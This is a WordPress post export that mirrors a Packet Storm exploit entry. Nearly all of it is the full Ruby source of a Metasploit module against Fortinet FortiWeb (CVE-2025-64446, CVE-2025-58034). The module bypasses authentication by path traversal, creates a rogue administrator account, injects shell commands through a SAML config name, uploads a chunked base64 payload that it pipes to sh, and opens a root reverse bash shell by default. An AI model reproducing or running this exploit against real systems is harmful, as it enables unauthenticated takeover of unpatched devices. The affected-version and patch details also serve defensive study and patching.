{"id":27754,"date":"2025-11-26T12:50:45","date_gmt":"2025-11-26T12:50:45","guid":{"rendered":"http:\/\/localhost\/?p=27754"},"modified":"2025-11-26T12:50:45","modified_gmt":"2025-11-26T12:50:45","slug":"fortinet-fortiweb-unauthenticated-remote-code-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=27754","title":{"rendered":"\ud83d\udcc4 Fortinet FortiWeb Unauthenticated Remote Code Execution_PACKETSTORM:212098"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-11-26T18:16:04&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits an authentication bypass via a path traversal vulnerability in the Fortinet FortiWeb management interface to create a new local administrator user account. From there a command injection vulnerability is leveraged to&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-11-26T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-11-26T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Fortinet FortiWeb Unauthenticated Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212098&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-58034&#8243;,&#8221;CVE-2025-64446&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n    # This module requires Metasploit: https:\/\/metasploit.com\/download\\n    # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n    ##\\n    \\n    class MetasploitModule \\u003c Msf::Exploit::Remote\\n      Rank = ExcellentRanking\\n    \\n      include Rex::Proto::Http::WebSocket\\n      include Msf::Exploit::Remote::HttpClient\\n      prepend Msf::Exploit::Remote::AutoCheck\\n    \\n      def initialize(info = {})\\n        super(\\n          update_info(\\n            info,\\n            &#8216;Name&#8217; =\\u003e &#8216;Fortinet FortiWeb unauthenticated RCE&#8217;,\\n            &#8216;Description&#8217; =\\u003e %q{\\n              This exploit module exploits an authentication bypass via path traversal vulnerability in the Fortinet\\n              FortiWeb management interface to create a new local administrator user account. From there a command\\n              injection vulnerability is leveraged to achieve RCE with root privileges.\\n    \\n              The auth bypass CVE-2025-64446 affects the following versions:\\n    \\n              * FortiWeb 8.0.0 through 8.0.1 (Patched in 8.0.2 and above)\\n              * FortiWeb 7.6.0 through 7.6.4 (Patched in 7.6.5 and above)\\n              * FortiWeb 7.4.0 through 7.4.9 (Patched in 7.4.10 and above)\\n              * FortiWeb 7.2.0 through 7.2.11 (Patched in 7.2.12 and above)\\n              * FortiWeb 7.0.0 through 7.0.11 (Patched in 7.0.12 and above)\\n    \\n              The command injection CVE-2025-58034 affects the following versions (Note the 7.6 and 7.4 branches are very\\n              slightly different when compared to the patch versions for CVE-2025-64446:\\n    \\n              * FortiWeb 8.0.0 through 8.0.1 (Patched in 8.0.2 and above)\\n              * FortiWeb 7.6.0 through 7.6.5 (Patched in 7.6.6 and above) \\u003c&#8211; slight difference\\n              * FortiWeb 7.4.0 through 7.4.10 (Patched in 7.4.11 and above) \\u003c&#8211; slight difference\\n              * FortiWeb 7.2.0 through 7.2.11 (Patched in 7.2.12 and above)\\n              * FortiWeb 7.0.0 through 7.0.11 (Patched in 7.0.12 and above)\\n            },\\n            &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n            &#8216;Author&#8217; =\\u003e [\\n              &#8216;Defused&#8217;, # PoC from honeypot for CVE-2025-64446\\n              &#8216;sfewer-r7&#8217;, # MSF module and CVE-2025-58034 analysis\\n            ],\\n            &#8216;References&#8217; =\\u003e [\\n              [&#8216;CVE&#8217;, &#8216;2025-64446&#8217;], # Auth bypass\\n              [&#8216;CVE&#8217;, &#8216;2025-58034&#8217;], # Command Injection\\n              [&#8216;URL&#8217;, &#8216;https:\/\/attackerkb.com\/topics\/zClpINmLCh\/cve-2025-58034\/rapid7-analysis&#8217;], # Analysis of CVE-2025-58034\\n              [&#8216;URL&#8217;, &#8216;https:\/\/x.com\/defusedcyber\/status\/1975242250373517373&#8217;], # Original PoC for CVE-2025-64446 posted online\\n              [&#8216;URL&#8217;, &#8216;https:\/\/github.com\/watchtowrlabs\/watchTowr-vs-Fortiweb-AuthBypass&#8217;], # PoC for CVE-2025-64446\\n              [&#8216;URL&#8217;, &#8216;https:\/\/www.pwndefend.com\/2025\/11\/13\/suspected-fortinet-zero-day-exploited-in-the-wild\/&#8217;],\\n              [&#8216;URL&#8217;, &#8216;https:\/\/www.rapid7.com\/blog\/post\/etr-critical-vulnerability-in-fortinet-fortiweb-exploited-in-the-wild\/&#8217;],\\n              [&#8216;URL&#8217;, &#8216;https:\/\/www.fortiguard.com\/psirt\/FG-IR-25-910&#8217;], # Vendor advisory for CVE-2025-64446\\n              [&#8216;URL&#8217;, &#8216;https:\/\/www.fortiguard.com\/psirt\/FG-IR-25-513&#8217;] # Vendor advisory for CVE-2025-58034\\n            ],\\n            # CVE-2025-64446 was disclosed on Nov 14, 2025, CVE-2025-58034 was disclosed on Nov 18, 2025.\\n            # Both vulnerabilities were silently patched by the vendor prior to this date.\\n            &#8216;DisclosureDate&#8217; =\\u003e &#8216;2025-11-14&#8217;,\\n            &#8216;Privileged&#8217; =\\u003e true, # Executes as root.\\n            &#8216;Platform&#8217; =\\u003e &#8216;unix&#8217;, # Only some of the unix payloads have been verified to work, the Linux fetch payloads dont execute.\\n            &#8216;Arch&#8217; =\\u003e [ARCH_CMD],\\n            &#8216;Targets&#8217; =\\u003e [\\n              [\\n                # NOTE: Tested with the following payloads against a vulnerable FortiWeb 8.0.1 and 7.4.8:\\n                #   cmd\/unix\/reverse_bash\\n                #   cmd\/unix\/reverse_openssl\\n                &#8216;Default&#8217;, {\\n                  &#8216;Payload&#8217; =\\u003e {\\n                    &#8216;BadChars&#8217; =\\u003e &#8216;\\&#8221;&#8216;\\n                  }\\n                }\\n              ]\\n            ],\\n            &#8216;DefaultTarget&#8217; =\\u003e 0,\\n            &#8216;DefaultOptions&#8217; =\\u003e {\\n              &#8216;PAYLOAD&#8217; =\\u003e &#8216;cmd\/unix\/reverse_bash&#8217;,\\n              &#8216;RPORT&#8217; =\\u003e 443,\\n              &#8216;SSL&#8217; =\\u003e true,\\n              # The maximum time in seconds to wait for a session.\\n              &#8216;WfsDelay&#8217; =\\u003e 30\\n            },\\n            &#8216;Notes&#8217; =\\u003e {\\n              &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n              &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION],\\n              &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS],\\n              &#8216;RelatedModules&#8217; =\\u003e [&#8216;auxiliary\/admin\/http\/fortinet_fortiweb_create_admin&#8217;]\\n            }\\n          )\\n        )\\n    \\n        register_options([\\n          OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;Base path&#8217;, &#8216;\/&#8217;])\\n        ])\\n    \\n        register_advanced_options(\\n          [\\n            OptString.new(&#8216;FortiWebAdminUsername&#8217;, [false, &#8216;A valid admin username to use. A new admin account will be created if not specified.&#8217;, nil]),\\n            OptString.new(&#8216;FortiWebAdminPassword&#8217;, [false, &#8216;A valid admin password to use. A new admin account will be created if not specified.&#8217;, nil]),\\n            OptString.new(&#8216;FortiWebAccessProfile&#8217;, [ true, &#8216;The access profile to use for the new admin account&#8217;, &#8216;prof_admin&#8217; ]),\\n            OptString.new(&#8216;FortiWebDomain&#8217;, [ true, &#8216;The domain to use for the new admin account&#8217;, &#8216;root&#8217; ]),\\n            OptString.new(&#8216;FortiWebDefaultAdminAccount&#8217;, [ true, &#8216;The default FortiWeb admin account name&#8217;, &#8216;admin&#8217; ]),\\n            OptString.new(&#8216;FortiWebWritableDir&#8217;, [true, &#8216;The full path of a writable directory on the target.&#8217;, &#8216;\/tmp&#8217;])\\n          ]\\n        )\\n      end\\n    \\n      def check\\n        res = post_auth_bypass_request({ data: {} })\\n    \\n        return CheckCode::Unknown(&#8216;Connection failed&#8217;) unless res\\n    \\n        return Exploit::CheckCode::Safe(&#8216;Received a 403 Forbidden response&#8217;) if res.code == 403\\n    \\n        j = JSON.parse(res.body)\\n    \\n        return Exploit::CheckCode::Appears if j.dig(&#8216;results&#8217;, &#8216;message&#8217;) == &#8216;Empty value isn\\\\&#8217;t allowed.&#8217;\\n    \\n        CheckCode::Unknown(&#8216;Unexpected JSON results&#8217;)\\n      rescue JSON::ParserError\\n        return CheckCode::Unknown(&#8216;Failed to parse JSON body&#8217;)\\n      end\\n    \\n      def exploit\\n        if datastore[&#8216;FortiWebAdminUsername&#8217;].nil? || datastore[&#8216;FortiWebAdminPassword&#8217;].nil?\\n          print_status(&#8216;Creating a new admin account via CVE-2025-64446&#8230;&#8217;)\\n    \\n          admin_username = Faker::Internet.username\\n          admin_password = Rex::Text.rand_text_alpha(8)\\n    \\n          create_admin_account(admin_username, admin_password)\\n    \\n          print_good(\\&#8221;New admin account successfully created: #{admin_username}:#{admin_password}\\&#8221;)\\n        else\\n          admin_username = datastore[&#8216;FortiWebAdminUsername&#8217;]\\n          admin_password = datastore[&#8216;FortiWebAdminPassword&#8217;]\\n    \\n          print_good(\\&#8221;Using existing admin credentials: #{admin_username}:#{admin_password}\\&#8221;)\\n        end\\n    \\n        print_status(&#8216;Logging in&#8230;&#8217;)\\n    \\n        cookie_jar.clear\\n    \\n        res = send_request_cgi(\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;logincheck&#8217;),\\n          &#8216;keep_cookies&#8217; =\\u003e true,\\n          &#8216;vars_post&#8217; =\\u003e {\\n            &#8216;username&#8217; =\\u003e admin_username,\\n            &#8216;secretkey&#8217; =\\u003e admin_password\\n          }\\n        )\\n    \\n        fail_with(Msf::Exploit::Failure::UnexpectedReply, &#8216;Connection failed.&#8217;) unless res\\n    \\n        fail_with(Msf::Exploit::Failure::UnexpectedReply, \\&#8221;Unexpected response code: #{res.code}\\&#8221;) unless res.code == 200\\n    \\n        unless cookie_jar.cookies.find { |c| c.name.start_with? &#8216;APSCOOKIE_FWEB&#8217; }\\n          fail_with(Msf::Exploit::Failure::UnexpectedReply, &#8216;No APSCOOKIE_FWEB returned&#8217;)\\n        end\\n    \\n        print_good(\\&#8221;Successfully logged in as #{admin_username}\\&#8221;)\\n    \\n        begin\\n          print_status(&#8216;Executing payload via CVE-2025-58034&#8230;&#8217;)\\n    \\n          execute_payload\\n        rescue Rex::Proto::Http::WebSocket::ConnectionError =\\u003e e\\n          fail_with(Msf::Exploit::Failure::UnexpectedReply, \\&#8221;CLI websocket connection error: #{e}\\&#8221;)\\n        end\\n    \\n        print_good(&#8216;Finished.&#8217;)\\n      end\\n    \\n      def execute_payload\\n        tmp_file_name = Rex::Text.rand_text_alphanumeric(4)\\n    \\n        bootstrap_payload = \\&#8221;rm -f #{datastore[&#8216;FortiWebWritableDir&#8217;]}\/#{tmp_file_name}*;\\&#8221;\\n        # We need to detach our payload from the current session, as when the TCP connections from out HTTP(S) requests close,\\n        # the device will tear down any child processes from the CLI, intern killing our payload prematurely. We would normally\\n        # use the nohup command for this, however this is unavailable on certain versions (available on 8.0.1, unavailable\\n        # on 7.4.8). To work around this, the bootstrap payload below will leverage Python, and use the Popen argument\\n        # start_new_session to do essentially what nohup does &#8211; call setsid() to create a new session. This has been\\n        # confirmed to work as expected on 8.0.1 and 7.4.8.\\n        bootstrap_payload += \\&#8221;python -c \\\\\\&#8221;import subprocess;subprocess.Popen(f\\\\\\\\\\\\\\&#8221;#{payload.encoded}\\\\\\\\\\\\\\&#8221;,shell=True,start_new_session=True,stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL)\\\\\\&#8221;\\&#8221;\\n    \\n        vprint_status(\\&#8221;Using bootstrap payload: #{bootstrap_payload}\\&#8221;)\\n    \\n        bootstrap_payload = Base64.strict_encode64(bootstrap_payload)\\n    \\n        idx = 1\\n        idx_prefix = &#8221;\\n    \\n        # Our command injection can at most be 63 characters. We need 2 characters for a double back tick, and\\n        # 23 for the echo command that writes the chunk to a file (assuming a path of \/tmp and a single digit idx\\n        # value). So by default, the chunk size will be 38. However, this may change as we write the chunks.\\n        # To ensure the `cat tmp_file_name*` command amalgamates the files in the correct order, if an idx goes above 9,\\n        # we reset the idx back to 1, and append a &#8216;9&#8217; character to an idx_prefix variable. This will ensure we get\\n        # sequential files, for example tmp1, tmp2, &#8230;, tmp9, tmp91, tmp92, &#8230;, tmp99, tmp991, tmp992, &#8230;\\n        # A result of appending a character to the idx_prefix variable, is we can write 1 less character in the chunk, so\\n        # we must recompute the chunk size, to ensure we don&#8217;t go over the 63-character limit.\\n        chunk_size = 63 &#8211; 2 &#8211; \\&#8221;echo -n |tee #{datastore[&#8216;FortiWebWritableDir&#8217;]}\/#{tmp_file_name}#{idx_prefix}#{idx}\\&#8221;.length\\n    \\n        # We write to a file via tee, as the \\u003e character is a bad char (so we cant do \\&#8221;echo foo \\u003e file\\&#8221; and\\n        # instead do \\&#8221;echo foo|tee file\\&#8221;).\\n    \\n        # We also base64 encode the data we write, as single and double quotes are also bad chars, so we cant write\\n        # them, and therefore white spaces are also an issue.\\n    \\n        # We display the progress to the user, so track that with a current and max chunk number.\\n        curr_chunk_number = 1\\n    \\n        max_chunk_number = (bootstrap_payload.length \/ chunk_size) + 1\\n    \\n        while bootstrap_payload \\u0026\\u0026 !bootstrap_payload.empty?\\n    \\n          print_status(\\&#8221;Uploading bootstrap payload chunk #{curr_chunk_number} of #{max_chunk_number}&#8230;\\&#8221;)\\n    \\n          chunk = bootstrap_payload[0, chunk_size]\\n    \\n          bootstrap_payload = bootstrap_payload[chunk_size..]\\n    \\n          execute_cmd(\\&#8221;echo -n #{chunk}|tee #{datastore[&#8216;FortiWebWritableDir&#8217;]}\/#{tmp_file_name}#{idx_prefix}#{idx}\\&#8221;)\\n    \\n          idx += 1\\n    \\n          if idx \\u003e 9\\n            idx = 1\\n            idx_prefix += &#8216;9&#8217;\\n            # Adjust chunk_size, as the idx_prefix value has had a &#8216;9&#8217; character appended to it, so the\\n            # next chunk must have 1 less character.\\n            chunk_size -= 1\\n            # If the payload was too big, and we run out of space in the command to write any chunk data, fail.\\n            # This is unlikely to occur in practise, as the MSF payload command would need to be very large to exhaust the\\n            # available space to write it. Back of a napkin calculation would be for every 9 chunks we get 1 less\\n            # character, so starting with a chunk size of 36, we have (36 * 9) + (35 * 9) + (34 * 9), &#8230; + (1 * 9), which\\n            # would be a max MSF payload size of 5670 characters. Calculated with the command:\\n            # ruby -e \\&#8221;sz=0; 1.upto(36){ |i| sz += ((36-i)*9) };p sz\\&#8221;\\n            fail_with(Failure::BadConfig, &#8216;No more space in the command to write chunk data, choose a smaller payload&#8217;) if chunk_size.zero?\\n          end\\n    \\n          curr_chunk_number += 1\\n        end\\n    \\n        print_status(&#8216;Amalgamating bootstrap payload chunks&#8230;&#8217;)\\n    \\n        execute_cmd(\\&#8221;cat #{datastore[&#8216;FortiWebWritableDir&#8217;]}\/#{tmp_file_name}*|tee #{datastore[&#8216;FortiWebWritableDir&#8217;]}\/#{tmp_file_name}\\&#8221;)\\n    \\n        print_status(&#8216;Executing bootstrap payload&#8230;&#8217;)\\n    \\n        execute_cmd(\\&#8221;cat #{datastore[&#8216;FortiWebWritableDir&#8217;]}\/#{tmp_file_name}|base64 -d|sh\\&#8221;)\\n      end\\n    \\n      def execute_cmd(cmd)\\n        vprint_status(\\&#8221;Executing OS command: #{cmd}\\&#8221;)\\n    \\n        # These bad chars are not allowed in a SAML config name, which is the command injection we leverage.\\n        # We also look for backticks, which are allowed, but we use two of them below to get command execution so we\\n        # don&#8217;t want the incoming cmd to contain any as that would break our injection.\\n        &#8216;`#()\\u003e\\\\&#8217;\\&#8221;&#8216;.each_char do |bad_char|\\n          fail_with(Failure::BadConfig, \\&#8221;Bad cmd char #{bad_char} in execute_cmd\\&#8221;) if cmd.include? bad_char\\n        end\\n    \\n        # The max name length is 63 characters, less 2 for the double backtick, so 61 are available for the OS command.\\n        fail_with(Failure::BadConfig, &#8216;Command too long for execute_cmd&#8217;) if cmd.length \\u003e (63 &#8211; 2)\\n    \\n        vprint_status(&#8216;Connecting to the CLI websocket&#8230;&#8217;)\\n    \\n        wsock_headers = {\\n          &#8216;Cookie&#8217; =\\u003e &#8221;\\n        }\\n    \\n        cookie_jar.cookies.each do |c|\\n          wsock_headers[&#8216;Cookie&#8217;] += \\&#8221;#{c}; \\&#8221;\\n        end\\n    \\n        wsock = connect_ws(\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;ws&#8217;, &#8216;cli&#8217;, &#8216;open&#8217;),\\n          &#8216;headers&#8217; =\\u003e wsock_headers\\n        )\\n    \\n        vprint_good(&#8216;Successfully connected to the CLI websocket&#8217;)\\n    \\n        cli_commands = [\\n          &#8216;config user saml-user&#8217;,\\n          \\&#8221;edit \\\\\\&#8221;`#{cmd}`\\\\\\&#8221;\\&#8221;,\\n          \\&#8221;set entityID http:\/\/#{Rex::Text.rand_text_alpha(4..8)}\\&#8221;,\\n          \\&#8221;set service-path \/#{Rex::Text.rand_text_alpha(4..8)}\\&#8221;,\\n          &#8216;set enforce-signing disable&#8217;,\\n          &#8216;set slo-bind post&#8217;,\\n          \\&#8221;set slo-path \/#{Rex::Text.rand_text_alpha(4..8)}\\&#8221;,\\n          &#8216;set sso-bind post&#8217;,\\n          \\&#8221;set sso-path \/#{Rex::Text.rand_text_alpha(4..8)}\\&#8221;,\\n          &#8216;end&#8217;\\n        ]\\n    \\n        wsock.wsloop do |buffer, _|\\n          vprint_line(buffer)\\n    \\n          if buffer.end_with? &#8216; # &#8216;\\n            cli_command = cli_commands.shift\\n    \\n            break if cli_command.nil?\\n    \\n            vprint_status(\\&#8221;Running CLI command: #{cli_command}\\&#8221;)\\n    \\n            wsock.put_wsbinary(\\&#8221;#{cli_command}\\\\n\\&#8221;)\\n    \\n            break if cli_commands.empty?\\n          end\\n        end\\n      end\\n    \\n      # The FortiWeb reverse proxy\/WebSocket server appears to be non-compliant. The \\&#8221;Upgrade\\&#8221; header is supposed to\\n      # be case-insensitive, and by default Metasploit will use \\&#8221;WebSocket\\&#8221;, however the FortiWeb device will only\\n      # accept lower case, so we force \\&#8221;websocket\\&#8221; to be used instead.\\n      def connect(opts = {})\\n        if opts.dig(&#8216;headers&#8217;, &#8216;Upgrade&#8217;) == &#8216;WebSocket&#8217;\\n          opts[&#8216;headers&#8217;][&#8216;Upgrade&#8217;].downcase!\\n        end\\n        super\\n      end\\n    \\n      # Create a new local admin account via CVE-2025-64446.\\n      def create_admin_account(admin_username, admin_password)\\n        request_data = {\\n          data: {\\n            &#8216;q_type&#8217; =\\u003e 1,\\n            &#8216;name&#8217; =\\u003e admin_username,\\n            &#8216;access-profile&#8217; =\\u003e datastore[&#8216;FortiWebAccessProfile&#8217;],\\n            &#8216;access-profile_val&#8217; =\\u003e &#8216;0&#8217;,\\n            &#8216;trusthostv4&#8217; =\\u003e &#8216;0.0.0.0\/0&#8217;,\\n            &#8216;trusthostv6&#8217; =\\u003e &#8216;::\/0&#8217;,\\n            &#8216;last-name&#8217; =\\u003e &#8221;,\\n            &#8216;first-name&#8217; =\\u003e &#8221;,\\n            &#8217;email-address&#8217; =\\u003e &#8221;,\\n            &#8216;phone-number&#8217; =\\u003e &#8221;,\\n            &#8216;mobile-number&#8217; =\\u003e &#8221;,\\n            &#8216;hidden&#8217; =\\u003e 0,\\n            &#8216;domains&#8217; =\\u003e datastore[&#8216;FortiWebDomain&#8217;],\\n            &#8216;sz_dashboard&#8217; =\\u003e -1,\\n            &#8216;type&#8217; =\\u003e &#8216;local-user&#8217;,\\n            &#8216;type_val&#8217; =\\u003e &#8216;0&#8217;,\\n            &#8216;admin-usergrp_val&#8217; =\\u003e &#8216;0&#8217;,\\n            &#8216;wildcard_val&#8217; =\\u003e &#8216;0&#8217;,\\n            &#8216;accprofile-override_val&#8217; =\\u003e &#8216;0&#8217;,\\n            &#8216;sshkey&#8217; =\\u003e &#8221;,\\n            &#8216;passwd-set-time&#8217; =\\u003e 0,\\n            &#8216;history-password-pos&#8217; =\\u003e 0,\\n            &#8216;history-password0&#8217; =\\u003e &#8221;,\\n            &#8216;history-password1&#8217; =\\u003e &#8221;,\\n            &#8216;history-password2&#8217; =\\u003e &#8221;,\\n            &#8216;history-password3&#8217; =\\u003e &#8221;,\\n            &#8216;history-password4&#8217; =\\u003e &#8221;,\\n            &#8216;history-password5&#8217; =\\u003e &#8221;,\\n            &#8216;history-password6&#8217; =\\u003e &#8221;,\\n            &#8216;history-password7&#8217; =\\u003e &#8221;,\\n            &#8216;history-password8&#8217; =\\u003e &#8221;,\\n            &#8216;history-password9&#8217; =\\u003e &#8221;,\\n            &#8216;force-password-change&#8217; =\\u003e &#8216;disable&#8217;,\\n            &#8216;force-password-change_val&#8217; =\\u003e &#8216;0&#8217;,\\n            &#8216;password&#8217; =\\u003e admin_password\\n          }\\n        }\\n    \\n        res = post_auth_bypass_request(request_data)\\n    \\n        fail_with(Msf::Exploit::Failure::UnexpectedReply, &#8216;Connection failed.&#8217;) unless res\\n    \\n        fail_with(Msf::Exploit::Failure::NotVulnerable, &#8216;Target does not appear vulnerable (403 Forbidden response)&#8217;) if res.code == 403\\n    \\n        unless res.code == 200\\n          if res.headers[&#8216;Content-Type&#8217;] == &#8216;application\/json&#8217;\\n            begin\\n              response_data = JSON.parse(res.body)\\n              print_bad(response_data.to_s)\\n            rescue JSON::ParserError\\n              print_bad(&#8216;failed to parse response JSON data&#8217;)\\n            end\\n          end\\n          fail_with(Msf::Exploit::Failure::UnexpectedReply, \\&#8221;Target returned an unexpected response (#{res.code})\\&#8221;)\\n        end\\n      end\\n    \\n      def post_auth_bypass_request(request_data)\\n        cgi_info = {\\n          &#8216;username&#8217; =\\u003e datastore[&#8216;FortiWebDefaultAdminAccount&#8217;],\\n          &#8216;profname&#8217; =\\u003e datastore[&#8216;FortiWebAccessProfile&#8217;],\\n          &#8216;vdom&#8217; =\\u003e datastore[&#8216;FortiWebDomain&#8217;],\\n          &#8216;loginname&#8217; =\\u003e datastore[&#8216;FortiWebDefaultAdminAccount&#8217;]\\n        }\\n    \\n        send_request_cgi(\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;\/api\/v2.0\/cmdb\/system\/admin%3F\/..\/..\/..\/..\/..\/cgi-bin\/fwbcgi&#8217;),\\n          &#8216;headers&#8217; =\\u003e {\\n            &#8216;CGIINFO&#8217; =\\u003e Base64.strict_encode64(cgi_info.to_json)\\n          },\\n          &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n          &#8216;data&#8217; =\\u003e request_data.to_json\\n        )\\n      end\\n    end&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/212098&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.8,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/212098\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-11-26T18:16:04&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits an authentication bypass via a path traversal vulnerability in the Fortinet FortiWeb management interface to create a new local administrator user&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-27754","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Fortinet FortiWeb Unauthenticated Remote Code Execution_PACKETSTORM:212098 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=27754\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Fortinet FortiWeb Unauthenticated Remote Code Execution_PACKETSTORM:212098 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-11-26T18:16:04&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits an authentication bypass via a path traversal vulnerability in the Fortinet FortiWeb management interface to create a new local administrator user...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=27754\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-11-26T12:50:45+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"14 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27754#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27754\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Fortinet FortiWeb Unauthenticated Remote Code Execution_PACKETSTORM:212098\",\"datePublished\":\"2025-11-26T12:50:45+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27754\"},\"wordCount\":2675,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=27754#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27754\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=27754\",\"name\":\"\ud83d\udcc4 Fortinet FortiWeb Unauthenticated Remote Code Execution_PACKETSTORM:212098 - zero 